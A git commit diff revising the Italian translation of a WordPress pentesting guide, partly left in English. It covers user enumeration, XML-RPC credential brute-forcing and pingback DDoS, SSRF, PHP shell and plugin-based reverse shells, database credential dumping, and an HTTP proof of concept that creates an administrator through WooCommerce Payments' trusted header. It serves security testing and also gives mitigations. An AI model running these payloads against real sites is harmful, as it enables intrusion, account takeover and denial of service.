Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-08-24 12:18:36 +00:00
parent 63065aef1c
commit cfe0d9ee24

View File

@ -4,47 +4,47 @@
## Informazioni di base
- I file **caricati** si trovano in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- I file **dei temi possono essere trovati in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente utilizzerai quel percorso. Ad esempio: Usando **il tema twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** files vanno in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **I file dei temi si trovano in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Un **altro URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Un altro URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** puoi trovare la password di root del database.
- Percorsi di login predefiniti da controllare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- In **wp-config.php** puoi trovare la password root del database.
- Percorsi di login di default da controllare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **File principali di WordPress**
- `index.php`
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
- `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
- `wp-activate.php` viene usato per il processo di attivazione via email quando si configura un nuovo sito WordPress.
- Cartelle di login (possono essere rinominate per nasconderle):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP che funge da meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla [REST API](https://developer.wordpress.org/rest-api/reference) di WordPress.
- La cartella `wp-content` è la directory principale in cui sono memorizzati plugin e temi.
- `wp-content/uploads/` è la directory in cui sono memorizzati i file caricati sulla piattaforma.
- `wp-includes/` Questa è la directory in cui sono memorizzati i file core, come certificati, font, file JavaScript e widget.
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e superiori, WordPress genera un file XML della mappa del sito con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
- `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette la trasmissione di dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- La cartella `wp-content` è la directory principale dove sono conservati plugin e temi.
- `wp-content/uploads/` è la directory dove vengono memorizzati i file caricati sulla piattaforma.
- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget.
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
**Post exploitation**
**Post-exploitation**
- Il file `wp-config.php` contiene informazioni necessarie a WordPress per connettersi al database, come il nome del database, l'host del database, nome utente e password, chiavi di autenticazione e sali, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere utilizzato per attivare la modalità DEBUG, che può essere utile nella risoluzione dei problemi.
- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, che può essere utile per il troubleshooting.
### Permessi degli utenti
### Permessi Utenti
- **Amministratore**
- **Editore**: Pubblica e gestisce i propri e gli altri post
- **Autore**: Pubblica e gestisce i propri post
- **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
- **Sottoscrittore**: Naviga nei post e modifica il proprio profilo
- **Administrator**
- **Editor**: Pubblica e gestisce i propri e gli altri post
- **Author**: Pubblica e gestisce i propri post
- **Contributor**: Scrive e gestisce i propri post ma non può pubblicarli
- **Subscriber**: Naviga i post e modifica il proprio profilo
## **Enumerazione passiva**
### **Ottieni la versione di WordPress**
### **Ottenere la versione di WordPress**
Controlla se riesci a trovare i file `/license.txt` o `/readme.html`
Controlla se puoi trovare i file `/license.txt` o `/readme.html`
All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- file di collegamento CSS
- File di collegamento CSS
![](<../../images/image (533).png>)
- file JavaScript
- File JavaScript
![](<../../images/image (524).png>)
@ -68,11 +68,11 @@ curl https://victim.com/ | grep 'content="WordPress'
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Ottieni Temi
### Ottenere temi
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Estrazione delle versioni in generale
### Estrarre le versioni in generale
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,17 +81,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugin e Temi
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprire tutti, dovrai **forzare attivamente una lista di Plugin e Temi** (speriamo per noi ci siano strumenti automatizzati che contengono queste liste).
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai **eseguire attivamente un Brute Force su una lista di Plugin e Temi** (si spera che per noi esistano strumenti automatici che contengano queste liste).
### Utenti
- **ID Brute:** Ottieni utenti validi da un sito WordPress forzando gli ID degli utenti:
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando un Brute Force sugli ID degli utenti:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **non valido**.
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **invalido**.
- **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti effettuando una query:
- **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti interrogando:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -99,17 +99,17 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **Solo le informazioni sugli utenti che hanno abilitato questa funzione saranno fornite**.
Nota che questo endpoint espone solo gli utenti che hanno pubblicato almeno un post. **Verranno fornite solo le informazioni sugli utenti che hanno attivato questa funzionalità**.
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
Nota anche che **/wp-json/wp/v2/pages** could leak IP addresses.
- **Enumerazione degli username di login**: Quando si effettua il login in **`/wp-login.php`**, il **messaggio** è **diverso** se il **nome utente esiste o meno**.
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`** il **messaggio** è **diverso** e indica **se lo username esiste o meno**.
### XML-RPC
Se `xml-rpc.php` è attivo, puoi eseguire un attacco di forza bruta sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo [using this](https://github.com/relarizky/wpxploit) per esempio).
Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e inviare questa richiesta:
**Controlla**
```html
@ -120,9 +120,9 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Bruteforce delle Credenziali**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno, puoi inviare qualcosa come:
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. Se ne trovi qualcuno, puoi inviare qualcosa del tipo:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri
</params>
</methodCall>
```
Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Utilizzando le credenziali corrette, puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Usando le credenziali corrette puoi caricare un file. Nella risposta comparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ Utilizzando le credenziali corrette, puoi caricare un file. Nella risposta appar
</params>
</methodCall>
```
C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`system.multicall`** poiché puoi provare diverse credenziali nella stessa richiesta:
Esiste anche un modo **più veloce** per brute-force delle credenziali usando **`system.multicall`** in quanto puoi provare diverse credenziali nella stessa request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'accesso principale è protetto da 2FA, **potresti riuscire ad abusare di xmlrpc.php per effettuare il login con quelle credenziali bypassando la 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS o scansione delle porte**
**DDoS or port scanning**
Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
Questo può essere usato per chiedere a **migliaia** di **siti** **Wordpress** di **accessare** una **stessa** **destinazione** (causando un **DDoS** in quel punto) oppure puoi usarlo per far eseguire a **Wordpress** uno **scan** di una rete interna (puoi indicare qualsiasi porta).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per provocare DDoS.
**DDoS**
```html
@ -209,17 +209,17 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
### wp-cron.php DoS
Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Questo file solitamente esiste nella root del sito Wordpress: **`/wp-cron.php`**\
Quando questo file viene **acceduto** viene eseguita una **query** MySQL **"pesante"**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\
Inoltre, per default, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una qualsiasi pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sul host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
### /wp-json/oembed/1.0/proxy - SSRF
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Worpress potrebbe fare una richiesta a te.
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te.
Questa è la risposta quando non funziona:
This is the response when it doesn't work:
![](<../../images/image (365).png>)
@ -230,32 +230,32 @@ Questa è la risposta quando non funziona:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Questo strumento controlla se il **methodName: pingback.ping** e per il percorso **/wp-json/oembed/1.0/proxy** e se esiste, cerca di sfruttarli.
Questo tool verifica se esiste **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli.
## Automatic Tools
## Strumenti automatici
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Ottieni accesso sovrascrivendo un bit
## Ottenere l'accesso sovrascrivendo un bit
Più che un vero attacco, questa è una curiosità. Nella CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi cambiare 1 bit di qualsiasi file wordpress. Quindi potevi cambiare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per NOP l'operazione NOT (`!`).
Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva modificare il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
## **Pannello RCE**
**Modificare un php dal tema utilizzato (sono necessarie le credenziali di amministratore)**
**Modificare un file php del tema usato (admin credentials needed)**
Aspetto → Editor del tema → Modello 404 (a destra)
Aspetto → Editor del tema → Template 404 (a destra)
Cambia il contenuto in una shell php:
Sostituisci il contenuto con una php shell:
![](<../../images/image (384).png>)
Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -269,91 +269,91 @@ to get a session.
### PHP plugin
Potrebbe essere possibile caricare file .php come plugin.\
Crea il tuo php backdoor usando ad esempio:
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
![](<../../images/image (183).png>)
Poi aggiungi un nuovo plugin:
Then add a new plugin:
![](<../../images/image (722).png>)
Carica il plugin e premi Installa ora:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
Clicca su Procced:
Click on Procced:
![](<../../images/image (70).png>)
Probabilmente questo non farà nulla apparentemente, ma se vai su Media, vedrai la tua shell caricata:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>)
Accedila e vedrai l'URL per eseguire la reverse shell:
Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Naviga nella dashboard di WordPress, poi vai su `Dashboard > Plugins > Upload Plugin`.
- Carica il file zip del plugin scaricato.
3. **Plugin Activation**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
4. **Exploitation**:
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con esplicita autorizzazione.
Il contenuto include immagini che mostrano i passaggi nella WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere usate responsabilmente e solo in un contesto legale, come penetration testing con permesso esplicito.
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
- _**Privilege Escalation:**_ Crea un utente in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Modifica un plugin integrato in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Modifica un tema integrato in WordPress.
- _**(Custom) Custom Exploits:**_ Exploits personalizzati per plugin/temi di terze parti di WordPress.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Creates an user in WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
## Post Exploitation
Estrai nomi utente e password:
Estrai username e password:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambia la password dell'amministratore:
Cambia la password admin:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Pentest dei Plugin di Wordpress
## Wordpress Plugins Pentest
### Superficie di Attacco
### Superficie di attacco
Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi scoprire come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
Capire come un plugin di Wordpress possa esporre funzionalità è fondamentale per trovare vulnerabilità nella sua logica. Puoi vedere in che modo un plugin può esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche quelli non autenticati).**
**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).**
> [!CAUTION]
> Inoltre, se la funzione sta solo controllando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione sta solo verificando che l'utente sia connesso, di solito non controlla il ruolo dell'utente. Quindi, gli utenti a basso privilegio potrebbero avere accesso ad azioni ad alto privilegio.
> Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa verifica soltanto che l'utente sia autenticato; di solito non controlla il ruolo dell'utente. Quindi utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio.
- **REST API**
È anche possibile esporre funzioni da wordpress registrando un'API rest utilizzando la funzione `register_rest_route`:
È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
)
);
```
Il `permission_callback` è un callback a una funzione che verifica se un determinato utente è autorizzato a chiamare il metodo API.
La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
**Se viene utilizzata la funzione incorporata `__return_true`, salterà semplicemente il controllo dei permessi utente.**
**Se viene utilizzata la funzione built-in `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.**
- **Accesso diretto al file php**
Certo, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga qualche funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
### Cancellazione di file arbitrari non autenticata tramite wp_ajax_nopriv (Tema Litho <= 3.0)
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
I temi e i plugin di WordPress espongono frequentemente gestori AJAX attraverso i ganci `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene utilizzata la variante **_nopriv_**, **il callback diventa accessibile ai visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
Alcuni plugin implementano scorciatoie "trusted header" per integrazioni interne o reverse proxies e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attacker può spoofarlo e colpire REST routes privilegiate come amministratore.
1. Un **controllo delle capacità** (ad es. `current_user_can()` o almeno `is_user_logged_in()`), e
2. Un **nonce CSRF** convalidato con `check_ajax_referer()` / `wp_verify_nonce()`, e
3. **Sanitizzazione / validazione rigorosa degli input**.
- Impatto: escalation di privilegi non autenticata a admin creando un nuovo amministratore tramite la core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
- Exploited route: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Rimuovi Font Family* e ha finito per spedire il seguente codice (semplificato):
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Perché funziona
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
- Il core di WordPress si aspetta la capability `create_users` per questa route; la modifica del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header.
Indicatori di successo attesi
- HTTP 201 con un body JSON che descrive l'utente creato.
- Un nuovo utente admin visibile in `wp-admin/users.php`.
Checklist di rilevamento
- Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDK che leggono header custom per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Esamina le registrazioni REST per callback privilegiate che non hanno forti controlli `permission_callback` e si affidano invece agli header della request.
- Cerca l'uso di funzioni core per la gestione utenti (`wp_insert_user`, `wp_create_user`) dentro REST handler che sono protetti solo da valori negli header.
Mitigazioni
- Non derivare mai l'autenticazione o l'autorizzazione da header controllati dal client.
- Se un reverse proxy deve inserire l'identità, termina la fiducia al proxy e rimuovi le copie in ingresso (es. `unset X-Wcpay-Platform-Checkout-User` al bordo), poi passa un token firmato e verificane la firma lato server.
- Per REST routes che eseguono azioni privilegiate, richiedi controlli `current_user_can()` e un `permission_callback` rigoroso (NON usare `__return_true`).
- Preferisci autenticazione first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
Riferimenti: vedi i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
I temi e i plugin WordPress espongono frequentemente handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando viene usata la variante **_nopriv_** **il callback diventa raggiungibile da visitatori non autenticati**, quindi ogni azione sensibile deve implementare inoltre:
1. Un **controllo delle capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
2. Un **nonce CSRF** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
